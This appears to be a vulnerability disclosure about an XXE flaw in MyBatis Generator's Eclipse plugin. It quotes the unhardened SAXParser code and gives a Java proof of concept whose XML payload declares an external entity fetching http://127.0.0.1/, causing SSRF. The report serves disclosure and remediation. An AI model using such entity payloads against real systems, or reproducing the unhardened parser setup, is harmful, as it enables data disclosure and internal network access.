Description

The isConfigFile() function makes use of SAXParser generated from a SAXParserFactory with no FEATURE_SECURE_PROCESSING set, allowing for XXE attacks. In https://github.com/mybatis/generator/blob/f3907d3a4aad257e17ed3047bc4b089cdf5f92ca/eclipse/org.mybatis.generator.eclipse.ui/src/org/mybatis/generator/eclipse/ui/content/ConfigVerifyer.java#L99

        SAXParserFactory factory = SAXParserFactory.newInstance();
            factory.setValidating(false);
            SAXParser parser = factory.newSAXParser();        
            parser.parse(inputStream, this);

Proof of Concept

Extracted out the key function mentioned above to showcase how it can be exploited.

import javax.xml.parsers.SAXParser;
import javax.xml.parsers.SAXParserFactory;
import org.xml.sax.HandlerBase;

import java.io.ByteArrayInputStream;

public class Poc {

    public static void main(String[] args) {        
        try {
            String xmlpoc = "<?xml version=\"1.0\"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM \"http://127.0.0.1/\">]><foo>&xxe;</foo>";
            SAXParser saxParser = SAXParserFactory.newInstance().newSAXParser();
            saxParser.parse(new ByteArrayInputStream(xmlpoc.getBytes()), new HandlerBase());
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

Causes an SSRF to http://127.0.0.1

Impact

This vulnerability is capable of XXE to disclose data/conduct SSRF attacks etc.